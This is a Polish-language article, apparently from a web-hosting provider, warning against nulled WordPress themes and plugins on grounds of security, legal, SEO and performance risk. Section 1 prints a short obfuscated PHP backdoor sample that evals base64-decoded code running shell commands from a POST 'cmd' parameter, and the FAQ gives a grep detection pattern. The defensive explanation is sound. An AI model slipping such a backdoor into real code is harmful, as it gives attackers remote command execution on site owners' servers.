7 powodów, dla których nigdy nie należy używać nullowanych motywów i wtyczek WordPress
Unieważnione motywy i wtyczki WordPress to pirackie, pozbawione licencji wersje oprogramowania komercyjnego, rozprowadzane bez autoryzacji za pośrednictwem witryn stron trzecich. Nie są to po prostu „darmowe alternatywy” — są to zmodyfikowane pakiety, które często zawierają wstrzyknięty złośliwy kod, pozbawione mechanizmów aktualizacji oraz celowo zaciemnione backdoory. Korzystanie z nich w jakiejkolwiek produkcyjnej instalacji WordPress jest jedną z najbardziej ryzykownych decyzji, jaką może podjąć właściciel witryny.
Ten artykuł omawia siedem konkretnych, technicznie uzasadnionych powodów, dla których należy całkowicie unikać unieważnionego oprogramowania — obejmując wektory ataków, narażenie prawne, szkody SEO oraz konsekwencje infrastrukturalne, których większość powierzchownych poradników nigdy nie porusza.
Co sprawia, że motyw lub wtyczka jest „unieważniona”?
Unieważniony motyw lub wtyczka to premium zasób WordPress, z którego usunięto lub ominięto kod weryfikacji licencji. Termin ten pochodzi od praktyki „unieważniania” sprawdzania licencji — ustawiania wartości zwracanych przez walidację na true niezależnie od tego, czy istnieje ważny klucz.
Dystrybucja odbywa się zazwyczaj poprzez:
- Dedykowane witryny agregujące unieważnione oprogramowanie
- Sieci torrentowe i fora dark web
- Przepakowane pliki ZIP udostępniane w grupach w mediach społecznościowych
- Skompromitowane repozytoria GitHub imitujące legalne projekty
Kluczowe techniczne rozróżnienie: osoba redystrybuująca unieważniony plik prawie zawsze go modyfikuje przed przesłaniem. Ta modyfikacja jest powierzchnią ataku.
1. Wstrzyknięty złośliwy kod i trwałe backdoory
Jest to główny wektor zagrożeń, działający jednocześnie na wielu poziomach.
Jak złośliwy kod jest osadzany
Atakujący, którzy redystrybuują unieważnione oprogramowanie, rutynowo wstrzykują ładunki przed publikacją. Typowe techniki wstrzykiwania obejmują:
- Bloki wykonania PHP zakodowane w Base64 ukryte wewnątrz
functions.phplub nadpisańwp-config.php - Zaciemnione łańcuchy
eval(), które dekodują i wykonują zdalne ładunki w czasie wykonywania - Wyzwalacze warunkowe, które aktywują się dopiero po określonej liczbie załadowań strony lub w określonych datach, unikając wstępnej ręcznej inspekcji
- Nadużycie hooków WordPress — rejestrowanie złośliwych wywołań zwrotnych na akcjach
init,wp_headlubadmin_init, które wtapiają się w legalny przepływ wykonania
Typowy wstrzyknięty backdoor na pierwszy rzut oka wygląda niewinnie:
// Obfuscated backdoor commonly found in nulled themes
$x = base64_decode('aWYoaXNzZXQoJF9QT1NUWydjbWQnXSkpeyBzeXN0ZW0oJF9QT1NUWydjbWQnXSk7IH0=');
eval($x);Po zdekodowaniu umożliwia każdemu żądaniu POST zawierającemu parametr cmd bezpośrednie wykonanie poleceń powłoki na serwerze.
Mechanizmy trwałości backdoorów
Poza początkową infekcją, zaawansowane unieważnione pakiety ustanawiają trwałość poprzez:
- Wstrzykiwanie zadań cron za pomocą
wp_schedule_event()w celu okresowego ponownego pobierania ładunków z domen kontrolowanych przez atakującego - Tworzenie fałszywych kont administratora uruchamiane cicho przy pierwszej aktywacji
- Skrypty droppera systemu plików, które zapisują dodatkowe powłoki PHP do
wp-content/uploads/— katalogu, który jest zazwyczaj wykluczony ze skanowania motywów/wtyczek
Konsekwencja w rzeczywistości: Jedna zainfekowana unieważniona wtyczka na serwerze współdzielonym może skompromitować każdą inną instalację WordPress na tym samym koncie hostingowym poprzez zanieczyszczenie krzyżowe za pośrednictwem współdzielonych procesów PHP lub zapisywalnych katalogów nadrzędnych.
Jeśli uruchamiasz WordPress w środowisku Hostingu VPS, izolacja systemu plików między witrynami jest znacznie silniejsza niż na infrastrukturze współdzielonej — jednak wstrzyknięty kod wykonywany w kontekście własnego użytkownika nadal ma pełny dostęp do bazy danych i plików WordPress.
2. Trwała utrata aktualizacji zabezpieczeń i pokrycia łatkami
Rdzeń WordPress, PHP i szerszy ekosystem wtyczek nieustannie ewoluują. Luki w zabezpieczeniach są regularnie odkrywane i łatane. Unieważnione oprogramowanie jest zamrożone na wersji, w której zostało złamane — a ta wersja prawie nigdy nie jest najnowszą.
Problem luki aktualizacyjnej
Rozważmy następującą oś czasu:
- Premium wtyczka wydaje wersję 3.4.1 łatającą krytyczną lukę SQL injection (przypisano CVE).
- Unieważniona wersja 3.4.0 nadal krąży w witrynach dystrybucyjnych.
- Twoja witryna uruchamia unieważnioną wersję 3.4.0 bezterminowo, ponieważ nie ma kanału aktualizacji.
- Automatyczne skanery obsługiwane przez botnety identyfikują Twoją witrynę jako uruchamiającą podatną wersję w ciągu kilku dni od publikacji CVE.
To nie jest teoria. Narzędzia takie jak WPScan i szablony Nuclei są publicznie dostępne i aktywnie wykorzystywane do masowego skanowania instalacji WordPress pod kątem znanych podatnych wersji wtyczek.
Co tracisz poza łatkami bezpieczeństwa
| Typ aktualizacji | Legalna premium wtyczka | Unieważniona wtyczka |
|---|---|---|
| — | — | — |
| Łatki bezpieczeństwa (poprawki CVE) | Automatyczna / ręczna aktualizacja | Nigdy nie otrzymywane |
| Kompatybilność z wersją PHP | Utrzymywana przez dewelopera | Ciche awarie |
| Kompatybilność z rdzeniem WordPress | Testowana i aktualizowana | Nieprzewidywalna |
| Poprawki błędów | Zawarte w aktualizacjach | Zamrożone na wersji złamania |
| Nowe funkcje | Wydania zgodne z harmonogramem | Brak |
| Zgłoszenia do wsparcia dewelopera | Zawarte w licencji | Całkowicie niedostępne |
| Aktualizacje dokumentacji | Utrzymywane online | Statyczne, potencjalnie nieaktualne |
Brak wsparcia jest równie szkodliwy. Gdy unieważniona wtyczka powoduje biały ekran śmierci lub krytyczny błąd PHP po aktualizacji rdzenia WordPress, nie masz żadnego wyjścia — żadnego systemu zgłoszeń, żadnego forum społecznościowego powiązanego z ważną licencją, żadnej odpowiedzialności dewelopera.
3. Narażenie prawne: naruszenie praw autorskich i wezwania DMCA
Motywy i wtyczki WordPress to oprogramowanie, a oprogramowanie jest chronione prawem autorskim praktycznie w każdej jurysdykcji. Większość premium produktów WordPress jest licencjonowana na warunkach GPL v2 lub nowszej, która zezwala na redystrybucję — ale z kluczowym ograniczeniem: redystrybucja musi zachować oryginalną licencję, atrybucję oraz wszelkie zasoby nielicencjonowane na GPL (takie jak premium czcionki, zestawy ikon lub zastrzeżone biblioteki JavaScript dołączone do motywu).
Co „unieważnienie” faktycznie narusza
Argument GPL jest często błędnie używany do uzasadniania unieważnionej dystrybucji. Oto co to faktycznie oznacza:
- Kod PHP w motywie lub wtyczce WordPress jest licencjonowany na GPL i technicznie może być redystrybuowany.
- Dołączone zasoby spoza GPL — zdjęcia stockowe, premium czcionki ikon, zastrzeżone frameworki CSS — nie są objęte GPL i nie mogą być legalnie redystrybuowane.
- Systemy kluczy licencyjnych i serwery aktywacji to zastrzeżona infrastruktura. Ich omijanie stanowi obejście technicznego środka ochrony, co jest naruszeniem DMCA Section 1201 w Stanach Zjednoczonych i równoważnych przepisów w UE.
Praktyczne konsekwencje prawne
- Wezwania DMCA wysyłane do Twojego dostawcy hostingu mogą skutkować zawieszeniem witryny w ciągu 24–48 godzin, często bez ostrzeżenia.
- Deweloperzy coraz częściej używają zautomatyzowanych narzędzi do wykrywania nieautoryzowanego użycia ich kluczy licencyjnych lub punktów końcowych aktywacji.
- Komercyjne wykorzystanie unieważnionego oprogramowania w projektach klientów tworzy bezpośrednią odpowiedzialność dla freelancerów i agencji.
- Niektóre jurysdykcje nakładają ustawowe odszkodowania za naruszenie praw autorskich, które nie wymagają od powoda udowodnienia rzeczywistej szkody finansowej.
Zakup licencji za pośrednictwem oficjalnych marketplace’ów, takich jak ThemeForest, lub bezpośrednio od deweloperów całkowicie eliminuje to narażenie i stanowi ułamek kosztu pojedynczego sporu prawnego.
4. Mierzalne szkody SEO i kary wyszukiwarek
Konsekwencje SEO wynikające z unieważnionego oprogramowania są konkretne, mierzalne i w niektórych przypadkach trwałe.
Wstrzykiwanie ukrytych linków
Najczęstszym atakiem SEO osadzonym w unieważnionych motywach jest wstrzykiwanie ukrytych linków wychodzących. Linki te są zazwyczaj:
- Renderowane z CSS
display:nonelubvisibility:hidden - Wstrzykiwane do stopki za pomocą hooków
wp_footer - Warunkowo wyświetlane tylko dla ciągu user-agent Googlebot, co czyni je niewidocznymi dla ludzkich odwiedzających, ale w pełni indeksowalnymi
Algorytmy antyspamowe Google wykrywają te wzorce. Witryna przyłapana na hostowaniu ukrytych linków do domen hazardowych, farmaceutycznych lub treści dla dorosłych może otrzymać ręczną akcję w Google Search Console — karę wymagającą wniosku o ponowne rozpatrzenie, której rozwiązanie może zająć tygodnie lub miesiące.
Umieszczanie na czarnej liście złośliwego oprogramowania
Jeśli wstrzyknięty kod serwuje złośliwe oprogramowanie odwiedzającym, Google Safe Browsing oznaczy Twoją domenę. Konsekwencje kaskadują:
- Google Search wyświetla komunikat „Ta witryna może uszkodzić Twój komputer”, niszcząc współczynniki klikalności.
- Chrome, Firefox i Safari całkowicie blokują dostęp do witryny poprzez integrację z API Safe Browsing.
- Dostarczalność e-maili załamuje się, gdy Twoja domena pojawia się na listach MX Blacklists i Spamhaus.
Odzyskanie po umieszczeniu na czarnej liście Safe Browsing wymaga wyczyszczenia wszystkich zainfekowanych plików, przesłania wniosku o przegląd i oczekiwania na ponowną ocenę przez crawlery Google — proces, który zazwyczaj trwa minimum 72 godziny, ale może się przedłużyć do tygodni, jeśli infekcja nie zostanie całkowicie wyeliminowana.
Degradacja Core Web Vitals
Unieważnione wtyczki często zawierają skrypty phone-home — procedury JavaScript lub PHP, które wysyłają zewnętrzne żądania HTTP do serwerów kontrolowanych przez atakującego. Żądania te:
- Dodają opóźnienie do czasu odpowiedzi serwera (TTFB)
- Wprowadzają blokujący renderowanie JavaScript, który bezpośrednio wpływa na Largest Contentful Paint (LCP)
- Zwiększają Total Blocking Time (TBT), metrykę Core Web Vitals wpływającą na pozycję w rankingu
W przypadku witryn hostowanych na zoptymalizowanej pod kątem wydajności infrastrukturze, takiej jak VPS z cPanel, przewaga sprzętowa jest niwelowana przez pasożytnicze skrypty zużywające zasoby CPU i sieciowe.
5. Utrata danych, ransomware i utrata kontroli nad witryną
Wektory uszkodzenia bazy danych
Złośliwy kod w unieważnionych wtyczkach może bezpośrednio atakować bazę danych WordPress:
- Bezpośrednie wstrzykiwanie zapytań
$wpdb, które usuwa tabele lub uszkadza zawartość postów - Zatruwanie tabeli opcji — zapisywanie złośliwych serializowanych obiektów PHP do
wp_options, które wykonują się podczas deserializacji - Manipulacja tabelą użytkowników — ciche podnoszenie uprawnień fałszywego użytkownika do roli administratora lub eksfiltracja skrótów haseł
Ransomware atakujące WordPress
Ransomware atakujące WordPress to udokumentowane i rosnące zagrożenie. Schemat ataku jest prosty:
- Unieważniona wtyczka ustanawia dostęp przez backdoor.
- Atakujący szyfruje katalog
wp-content/i zmienia nazwę bazy danych. - Żądanie okupu zastępuje stronę główną witryny.
- Atakujący żąda płatności w kryptowalucie za klucz deszyfrujący.
W przeciwieństwie do korporacyjnych incydentów ransomware, ataki ransomware na WordPress są zazwyczaj w pełni zautomatyzowane i atakują tysiące witryn jednocześnie. Żądania okupu są na tyle małe, że wielu właścicieli witryn płaci zamiast przywracać z kopii zapasowej — co jest dokładnie modelem ekonomicznym, na którym polegają atakujący.
Ładunki do kopania kryptowalut
Mniej widoczny, ale zasobochłonny atak polega na wstrzykiwaniu skryptów do kopania kryptowalut (zazwyczaj koparek Monero) do frontendowego JavaScript witryny. Przeglądarki odwiedzających cicho kopią kryptowalutę dla atakującego. Skutkuje to:
- Dramatycznym wzrostem obciążenia CPU serwera
- Skargami odwiedzających na spowolnienie przeglądarki
- Potencjalnym naruszeniem zasad dopuszczalnego użytkowania dostawcy hostingu, prowadzącym do zawieszenia konta
6. Etyczne i ekosystemowe konsekwencje
Siła ekosystemu WordPress wynika bezpośrednio z jego rentowności komercyjnej. Deweloperzy premium wtyczek i motywów inwestują znaczne zasoby inżynieryjne w produkty, które często są wyceniane na 20–100 $ za nieograniczone użytkowanie osobiste — model cenowy, który działa tylko wtedy, gdy przychody z licencji nie są systematycznie podważane.
Problem ekonomiki deweloperów
Rozważmy konkretny wpływ:
- Deweloper sprzedający wtyczkę za 49 $/rok przy 10 000 aktywnych użytkownikach generuje około 490 000 $ rocznych przychodów.
- Jeśli 30% aktywnych instalacji jest unieważnionych, deweloper traci rocznie około 147 000 $.
- Przy takim tempie strat deweloper albo podnosi ceny dla legalnych klientów, albo ogranicza inwestycje w rozwój, albo porzuca produkt.
Każda unieważniona instalacja przenosi koszty na płacących klientów i obniża jakość oprogramowania dostępnego dla całego ekosystemu.
Nadużywanie systemu wsparcia
Użytkownicy unieważnionych wersji czasami próbują korzystać z kanałów wsparcia deweloperów z sfabrykowanymi kluczami licencyjnymi. Pochłania to zasoby wsparcia opłacane przez legalnych klientów i wydłuża czasy odpowiedzi dla wszystkich.
Repozytorium wtyczek WordPress, komercyjne produkty Automattic i szerszy ekosystem niezależnych deweloperów — wszystkie zależą od funkcjonującej warstwy komercyjnej. Korzystanie z unieważnionego oprogramowania to bezpośrednia ekstrakcja z tego systemu bez wkładu.
7. Nieprzewidywalna degradacja wydajności
Unieważnione oprogramowanie to nie po prostu niezmodyfikowane premium oprogramowanie z usuniętym sprawdzaniem licencji. Sam proces modyfikacji wprowadza niestabilność.
Awarie integralności kodu
Gdy dystrybutor unieważnionej wersji modyfikuje wtyczkę w celu usunięcia sprawdzania licencji, często:
- Wprowadza błędy składniowe w edytowanych plikach PHP, które ujawniają się tylko w określonych ścieżkach wykonania
- Uszkadza zminifikowany JavaScript przez częściową edycję dołączonych zasobów
- Usuwa lub uszkadza konfiguracje autoloadera, powodując krytyczne błędy braku klasy
- Usuwa sprawdzenia integralności, których wtyczka używa wewnętrznie do walidacji własnego stanu pliku
Te awarie są niedeterministyczne — mogą nie pojawić się natychmiast, ale ujawniają się po aktualizacji rdzenia WordPress, zmianie wersji PHP lub określonej akcji użytkownika.
Zużycie zasobów przez osadzone skrypty
Poza celowymi złośliwymi ładunkami, unieważnione wtyczki często zawierają skrypty telemetryczne i beacon pozostawione przez oryginalnego dystrybutora w celu śledzenia, jak szeroko rozprzestrzeniła się ich złamana wersja. Skrypty te:
- Wysyłają wychodzące żądania HTTP przy każdym załadowaniu strony
- Zużywają czas wykonania PHP oczekując na przekroczenie limitu czasu połączeń zdalnych
- Dodają niepotrzebne zapytania do bazy danych w celu rejestrowania danych odwiedzin w zewnętrznych punktach końcowych
W przypadku witryny o dużym ruchu, to obciążenie znacznie się kumuluje. Wtyczka wysyłająca jedno zewnętrzne żądanie HTTP trwające 500 ms przy każdym załadowaniu strony dodaje 500 ms do doświadczenia każdego odwiedzającego — bezpośredni, mierzalny wpływ na Time to First Byte i wyniki Core Web Vitals.
Porównanie: unieważnione vs. legalne premium wtyczki
| Wymiar | Legalna premium wtyczka | Unieważniona wtyczka |
|---|---|---|
| — | — | — |
| Integralność kodu | Zweryfikowane, podpisane wydania | Zmodyfikowane, niezweryfikowane |
| Łatki bezpieczeństwa | Dostarczane przez kanał aktualizacji | Nigdy nie stosowane |
| Narzut wydajnościowy | Zoptymalizowany przez dewelopera | Może zawierać pasożytnicze skrypty |
| Kompatybilność PHP/WP | Testowana przed wydaniem | Nieznana, ciche awarie |
| Status prawny | W pełni licencjonowana | Ryzyko naruszenia praw autorskich |
| Wpływ na SEO | Neutralny do pozytywnego | Ukryte linki, ryzyko złośliwego oprogramowania |
| Dostępność wsparcia | Pełne wsparcie dewelopera | Brak |
| Bezpieczeństwo danych | Standardowy profil ryzyka | Aktywne ryzyko eksfiltracji |
| Długoterminowa niezawodność | Utrzymywana i aktualizowana | Porzucona na wersji złamania |
Wybór bezpiecznego środowiska hostingowego dla WordPress
Infrastruktura, na której uruchamiasz WordPress, znacząco wpływa na Twoją zdolność do wykrywania, powstrzymywania i odzyskiwania po incydentach bezpieczeństwa — niezależnie od tego, czy zagrożenie pochodzi z unieważnionego oprogramowania, czy z innego wektora.
Kluczowe kwestie infrastrukturalne:
- Izolacja systemu plików: Na Serwerach Dedykowanych pliki WordPress nie są współlokowane z witrynami innych klientów, eliminując ryzyko zanieczyszczenia krzyżowego.
- Skanowanie złośliwego oprogramowania: Narzędzia skanujące na poziomie serwera (ClamAV, ImunifyAV) mogą wykrywać znane sygnatury unieważnionych wtyczek i wstrzyknięte powłoki przed ich wykonaniem.
- Automatyczne kopie zapasowe: Czysta, aktualna kopia zapasowa to najszybsza ścieżka odzyskiwania po ransomware lub uszkodzeniu bazy danych. Upewnij się, że Twoje środowisko hostingowe zapewnia automatyczne, zewnętrzne migawki kopii zapasowych.
- Kontrola wersji PHP: Możliwość niezależnego przypinania i aktualizowania wersji PHP jest kluczowa dla utrzymania kompatybilności z legalnymi, zaktualizowanymi wtyczkami.
- Wymuszanie SSL/TLS: Uruchamianie WordPress przez HTTPS za pomocą ważnego Certyfikatu SSL nie chroni przed zagrożeniami związanymi z unieważnionymi wtyczkami, ale jest podstawowym wymogiem bezpieczeństwa, który zapobiega przechwytywaniu danych uwierzytelniających i utrzymuje sygnały zaufania przeglądarki.
Dla zespołów zarządzających wieloma instalacjami WordPress, Panele Sterowania VPS zapewniają scentralizowany wgląd w uruchomione procesy, zmiany systemu plików i zużycie zasobów — znacznie ułatwiając wykrywanie anomalnego zachowania wprowadzonego przez skompromitowane wtyczki.
Praktyczna lista kontrolna przed instalacją motywu lub wtyczki
Przed aktywacją jakiegokolwiek motywu lub wtyczki na produkcyjnej witrynie WordPress, sprawdź następujące kwestie:
- Weryfikacja źródła: Czy adres URL pobierania to oficjalna witryna dewelopera, repozytorium WordPress.org lub zweryfikowany marketplace (ThemeForest, CodeCanyon)?
- Obecność klucza licencyjnego: Czy wtyczka prosi o ważny klucz licencyjny i pomyślnie go weryfikuje na serwerze aktywacji dewelopera?
- Aktywny kanał aktualizacji: Czy wtyczka pojawia się na liście aktualizacji w panelu WordPress z ważnym źródłowym adresem URL aktualizacji?
- Sprawdzenie integralności pliku: Uruchom pobrany plik ZIP przez VirusTotal przed instalacją. Oznacz każde wykrycie, nawet te o niskiej pewności.
- Audyt kodu dla nowych wtyczek: Dla każdej wtyczki z podwyższonym dostępem do bazy danych lub systemu plików, przejrzyj
functions.phporaz każdy plik zawierający wywołaniaeval(),base64_decode(),system(),exec()lubpassthru()przed aktywacją. - Przegląd dziennika zmian: Czy wtyczka ma publicznie utrzymywany dziennik zmian pokazujący aktywny rozwój? Porzucone wtyczki — nawet legalne — niosą podwyższone ryzyko.
- Aktywność forum wsparcia: Aktywne odpowiedzi dewelopera na forum wsparcia WordPress.org lub dedykowanym helpdesku wskazują, że wtyczka jest utrzymywana.
Jeśli wtyczka lub motyw jest dostępna tylko przez nieoficjalne kanały, nie jest to osobliwość dystrybucyjna — to dyskwalifikujący sygnał.
FAQ
Jaki jest najszybszy sposób wykrycia unieważnionej wtyczki w istniejącej instalacji WordPress?
Użyj skanera po stronie serwera, takiego jak Wordfence (bezpłatna wersja) lub MalCare, aby przeprowadzić głębokie skanowanie plików. Dodatkowo uruchom grep -r "eval(base64_decode" /path/to/wp-content/ z wiersza poleceń, aby zlokalizować najczęstszy wzorzec zaciemniania. Każdy wynik tego grep w pliku wtyczki lub motywu wymaga natychmiastowego zbadania.
Czy unieważniony motyw może zainfekować inne witryny na tym samym serwerze?
Tak. Jeśli wiele instalacji WordPress współdzieli to samo konto użytkownika Linux lub jeśli PHP działa jako współdzielony użytkownik (co jest powszechne na hostingu współdzielonym), złośliwy kod w jednej instalacji może odczytywać i zapisywać pliki w sąsiednich instalacjach. Jest to główny powód, dla którego należy używać izolowanych środowisk hostingowych dla witryn produkcyjnych.
Czy korzystanie z unieważnionej wtyczki narusza warunki korzystania z usług dostawcy hostingu?
W większości przypadków tak. Zasady dopuszczalnego użytkowania dostawców hostingu zabraniają dystrybucji złośliwego oprogramowania, hostowania stron phishingowych i angażowania się w działania szkodzące innym użytkownikom na współdzielonej infrastrukturze. Złośliwa aktywność wynikająca z unieważnionych wtyczek może skutkować zawieszeniem konta, często bez wcześniejszego powiadomienia.
Czy darmowe wtyczki WordPress z WordPress.org są bezpieczne w użyciu?
Darmowe wtyczki z oficjalnego repozytorium WordPress.org przechodzą podstawowy proces przeglądu i podlegają usunięciu w przypadku wykrycia problemów z bezpieczeństwem. Są kategorycznie różne od unieważnionych wtyczek. Profil ryzyka jest znacznie niższy, choć nie zerowy — zawsze sprawdzaj datę ostatniej aktualizacji, liczbę aktywnych instalacji i forum wsparcia pod kątem nierozwiązanych raportów bezpieczeństwa.
Co powinienem zrobić, jeśli odkryję, że na mojej witrynie zainstalowano unieważnioną wtyczkę?
Natychmiast wyłącz witrynę lub włącz tryb konserwacji. Przywróć z najnowszej czystej kopii zapasowej, jeśli jest dostępna. Jeśli nie ma czystej kopii zapasowej, ręcznie usuń wszystkie pliki wtyczki, sprawdź wp-config.php i functions.php pod kątem wstrzykniętego kodu, zresetuj wszystkie hasła użytkowników WordPress, zmień dane uwierzytelniające bazy danych i wygeneruj ponownie klucze bezpieczeństwa WordPress w wp-config.php. Po wyczyszczeniu prześlij wniosek o przegląd do Google Search Console, jeśli domena została oznaczona przez Safe Browsing.
